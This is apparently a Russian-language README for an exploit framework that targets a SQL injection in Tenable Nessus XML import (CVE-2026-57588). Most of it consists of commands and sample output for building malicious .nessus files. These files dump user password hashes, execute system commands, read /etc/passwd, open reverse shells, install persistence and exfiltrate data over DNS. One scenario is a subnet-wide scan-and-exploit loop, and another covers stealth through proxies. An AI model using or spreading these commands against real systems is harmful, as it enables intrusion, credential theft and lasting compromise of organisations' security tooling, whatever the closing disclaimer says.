🛡️ CVE-2026-57588 - Фреймворк эксплуатации SQL-инъекции Nessus
📋 Содержание
🔍 Обзор
CVE-2026-57588 — критическая уязвимость SQL-инъекции, обнаруженная в Tenable Nessus версий 10.12.0 и более ранних. Уязвимость находится в механизме разбора XML при импорте файлов результатов сканирования .nessus, позволяя аутентифицированным пользователям с правами импорта выполнять произвольные SQL-запросы к бэкенд-базе данных PostgreSQL.
⚠️ Детали уязвимости
🔬 Технические детали
Уязвимость существует из-за недостаточной санитизации значений XML-тегов перед их включением в SQL-запросы в процессе импорта. Злоумышленник может создать файл .nessus, содержащий специально сформированные пейлоады SQL-инъекций в таких XML-тегах, как:
hostname
fqdn
os
system-type
mac-address
netbios-name
Когда привилегированный пользователь импортирует вредоносный файл, несанитизированные значения выполняются против бэкенда PostgreSQL, что позволяет:
- Перечисление базы данных
- Извлечение данных
- Выполнение команд
- Доступ к файловой системе
- Установка персистентности
✨ Возможности
Нажмите, чтобы развернуть список возможностей
🎯 Управление пейлоадами
- 13+ типов пейлоадов, классифицированных по назначению
- Шаблонная генерация пейлоадов
- Создание и валидация пользовательских пейлоадов
- Валидация параметров и проверка синтаксиса
- Проверка синтаксиса SQL
🚀 Возможности эксплуатации
- Многоэтапная эксплуатация с параллельным выполнением
- Снятие отпечатков и перечисление базы данных
- Извлечение данных с настраиваемым выбором таблиц/столбцов
- Выполнение команд на целевой системе
- Доступ к файловой системе и чтение файлов
- Обратная оболочка с интерактивной сессией
- Механизмы установки персистентности
- Слепая SQL-инъекция на основе времени
- Слепая SQL-инъекция на основе булевых значений
- SQL-инъекция на основе ошибок
- Стековые запросы для продвинутой эксплуатации
- Внеполосное извлечение данных через DNS
📊 Отчетность и логирование
- HTML-отчеты с профессиональным стилем
- Markdown-отчеты для документации
- JSON-отчеты для автоматизации
- Текстовые отчеты для быстрого просмотра
- Ротация логов с несколькими уровнями
- Детальная статистика выполнения
- Хеширование файлов для проверки целостности
📦 Установка
🐍 Предварительные требования
- Python 3.7 или выше
- pip (менеджер пакетов Python)
- Git (опционально, для клонирования)
🔧 Быстрая установка
# Клонировать репозиторий
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Создать и активировать виртуальное окружение
python3 -m venv venv
source venv/bin/activate # На Windows: venv\Scripts\activate
# Установить зависимости
pip install -r requirements.txt
# Проверить установку
python3 exploit.py --version
🐳 Установка через Docker
# Собрать Docker-образ
docker build -t nessus-exploit .
# Запустить инструмент
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 Установка пакета
# Установить как пакет
pip install -e .
# Теперь можно запускать из любой директории
nessus-exploit generate -u https://test.com -p enum
🚀 Быстрый старт
Базовое использование
# Сгенерировать базовый эксплойт для перечисления
python3 exploit.py generate -u https://test.com -p enum
# Сгенерировать продвинутый многоэтапный эксплойт
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Извлечь данные из базы данных
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
Справка по командам
# Показать общую справку
python3 exploit.py --help
# Показать справку по команде generate
python3 exploit.py generate --help
# Список всех доступных пейлоадов
python3 exploit.py list
💡 Примеры использования
1. Базовое перечисление
python3 exploit.py generate -u https://test.com -p enum
Ожидаемый вывод
[2026-07-22 10:15:23] [INFO] [*] Начало эксплуатации против https://test.com
[2026-07-22 10:15:23] [INFO] [*] Сессия: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Пейлоад: enum
[2026-07-22 10:15:23] [INFO] [*] Выполнение этапа: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Сгенерирован XML: exploit_20260722_fingerprint_101523.nessus (3847 байт)
[2026-07-22 10:15:24] [INFO] [*] Выполнение этапа: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Сгенерирован XML: exploit_20260722_schema_dump_101524.nessus (4213 байт)
[2026-07-22 10:15:25] [INFO] [+] Эксплуатация завершена! Длительность: 2.15с
============================================================
СВОДКА ЭКСПЛУАТАЦИИ
============================================================
Цель: https://test.com
Статус: УСПЕХ
Длительность: 2.15с
Сгенерировано файлов: 3
Сгенерировано отчетов: 3
============================================================
2. Продвинутая многоэтапная эксплуатация
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. Извлечение данных
# Извлечь учетные данные пользователей
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Извлечь с пользовательскими столбцами
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. Обратная оболочка
# Запустить слушатель и сгенерировать эксплойт
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. Выполнение команд
# Выполнить базовые команды
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Выполнить сложные команды
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. Чтение файлов
# Чтение системных файлов
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Чтение логов приложения
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. Слепая инъекция на основе времени
# Задержка 5 секунд
python3 exploit.py generate -u https://test.com -p sleep -s 5
# Задержка 30 секунд для тяжелых тестов
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. С поддержкой прокси
# HTTP прокси
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS прокси с аутентификацией
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. Параллельное выполнение
# Запустить с 8 параллельными задачами
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# С пользовательским тайм-аутом и повторными попытками
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. Подробный и тихий режимы
# Подробный режим (детальный вывод)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Тихий режим (минимальный вывод)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 Типы пейлоадов
Категория: FINGERPRINTING
| Пейлоад | Описание | Параметры |
|---|
fingerprint | Снятие отпечатков базы данных | Нет |
Категория: UNION
| Пейлоад | Описание | Параметры |
|---|
schema_dump | Дамп схемы базы данных | Нет |
data_exfil | Извлечение данных таблицы | table, columns |
Категория: TIMING
| Пейлоад | Описание | Параметры |
|---|
time_based | Слепая инъекция на основе времени | delay |
boolean_blind | Слепая на основе булевых значений | condition, |
Категория: FILE_ACCESS
| Пейлоад | Описание | Параметры |
|---|
file_read | Чтение системных файлов | path, offset, length |
Категория: COMMAND_EXEC
| Пейлоад | Описание | Параметры |
|---|
command_exec | Выполнение системных команд | command |
Категория: REVERSE_SHELL
| Пейлоад | Описание | Параметры |
|---|
reverse_shell | Установка обратной оболочки | host, port |
Категория: PERSISTENCE
| Пейлоад | Описание | Параметры |
|---|
persistence | Установка персистентности | Нет |
Категория: ERROR_BASED
| Пейлоад | Описание | Параметры |
|---|
error_based | Инъекция на основе ошибок | query |
Категория: STACKED
| Пейлоад | Описание | Параметры |
|---|
stacked_queries | Стековые запросы | query |
Категория: OUT_OF_BAND
| Пейлоад | Описание | Параметры |
|---|
oob_dns | DNS-эксфильтрация | host, data |
🎯 Расширенные сценарии
Сценарий 1: Полный рабочий процесс компрометации
# Шаг 1: Перечислить базу данных
python3 exploit.py generate -u https://test.com -p enum -v
# Шаг 2: Извлечь конфиденциальные данные
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Шаг 3: Установить персистентность
python3 exploit.py generate -u https://test.com -p persist
# Шаг 4: Настроить обратную оболочку
python3 exploit.py generate -u https://test.com -p shell -lp 4444
Сценарий 2: Скрытные операции
# Использование прокси и тихого режима
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
Сценарий 3: Автоматизированный конвейер тестирования
#!/bin/bash
# auto_exploit.sh - Автоматизированный скрипт эксплуатации
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# Запустить все пейлоады
for payload in enum dump shell persist; do
echo "[*] Выполнение пейлоада: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# Сгенерировать комплексный отчет
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
Сценарий 4: Оценка безопасности предприятия
# Оценка по всей сети
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Тестирование: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
Сценарий 5: Сбор доказательств
# Собрать комплексные доказательства
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 Отчетность
Доступные форматы отчетов
Создание отчетов
# Создать все форматы отчетов
python3 exploit.py report -i results.json -o report
# Создать только HTML-отчет
python3 exploit.py report -i results.json -o report.html --format html
# Создать Markdown-отчет
python3 exploit.py report -i results.json -o report.md --format markdown
Содержимое отчета
- Информация о цели
- ID сессии и тип пейлоада
- Статистика выполнения
- Список сгенерированных файлов
- Хеши файлов для целостности
- Логи ошибок (если есть)
- Отказ от ответственности и предупреждения
🔧 Устранение неполадок
Частые проблемы и решения
Проблема 1: Ошибки соединения
# Ошибка: Соединение отклонено
# Решение: Проверить, запущен ли Nessus и доступен ли порт
python3 exploit.py generate -u https://test.com:8834 -p enum
# Ошибка: Не удалось проверить SSL-сертификат
# Решение: Отключить проверку SSL
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
Проблема 2: Ошибки валидации XML
# Ошибка: Неверная структура XML
# Решение: Отключить валидацию XML
python3 exploit.py generate -u https://test.com -p enum --no-validate
Проблема 3: Ошибки пейлоадов
# Ошибка: Отсутствует обязательный параметр
# Решение: Проверить требования пейлоада
python3 exploit.py validate -p command_exec
# Затем указать необходимые параметры
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
Проблема 4: Отказано в доступе
# Ошибка: Невозможно записать файлы
# Решение: Проверить права на директорию
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
Проблема 5: Проблемы с тайм-аутом
# Ошибка: Операция превысила тайм-аут
# Решение: Увеличить тайм-аут
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Или использовать повторные попытки
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 Соображения безопасности
⚠️ Важные предупреждения
- Соблюдение закона: Используйте только на системах, которые вам принадлежат, или при наличии явного письменного разрешения на тестирование
- Защита данных: Обращайтесь с извлеченными учетными данными и данными с особой осторожностью
- Изолированная среда: Всегда тестируйте в изолированных лабораторных средах
- Резервное копирование: Всегда делайте резервные копии баз данных перед тестированием
- Восстановление: Восстанавливайте системы в исходное состояние после тестирования
- Документация: Документируйте все действия по тестированию для соблюдения требований
✅ Лучшие практики
- Используйте выделенные тестовые учетные записи
- Ведите подробные журналы всех действий
- Используйте VPN/прокси для анонимности при тестировании сторонних систем
- Следуйте правилам ответственного раскрытия информации
- Обучите свою команду об этой уязвимости
📝 Лицензия
Этот проект лицензирован по лицензии MIT - подробности см. в файле LICENSE.
🤝 Внесение вклада
Вклад приветствуется! Не стесняйтесь отправлять Pull Request.
Настройка разработки
# Клонировать репозиторий
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Установить зависимости для разработки
pip install -r requirements-dev.txt
# Запустить тесты
pytest
# Форматировать код
black exploit.py
# Проверить стиль кода
flake8 exploit.py
📞 Поддержка
Документация
Контакты
📄 Журнал изменений
Версия 1.0.0 (2026-07-22)
Первый выпуск
- ✅ Комплексный фреймворк эксплуатации
- ✅ 13 типов пейлоадов, классифицированных по назначению
- ✅ Многоэтапная эксплуатация с параллельным выполнением
- ✅ Валидация XML и проверка схемы
- ✅ Несколько форматов отчетов (HTML, Markdown, JSON, Text)
- ✅ Автоматическое хеширование файлов и проверка целостности
- ✅ Профессиональное логирование с ротацией
- ✅ Поддержка прокси для скрытных операций
- ✅ Обратная оболочка с интерактивной сессией
- ✅ Механизмы персистентности
- ✅ Выполнение команд и чтение файлов
- ✅ Слепая инъекция на основе времени и булевых значений
- ✅ Инъекция на основе ошибок и стековых запросов
- ✅ Внеполосная DNS-эксфильтрация
- ✅ Поддержка Docker
- ✅ Кроссплатформенная совместимость
⬆ Наверх
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен ТОЛЬКО для ОБРАЗОВАТЕЛЬНОГО и АВТОРИЗОВАННОГО тестирования безопасности. Несанкционированное использование является НЕЗАКОННЫМ. Автор НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ за неправильное использование.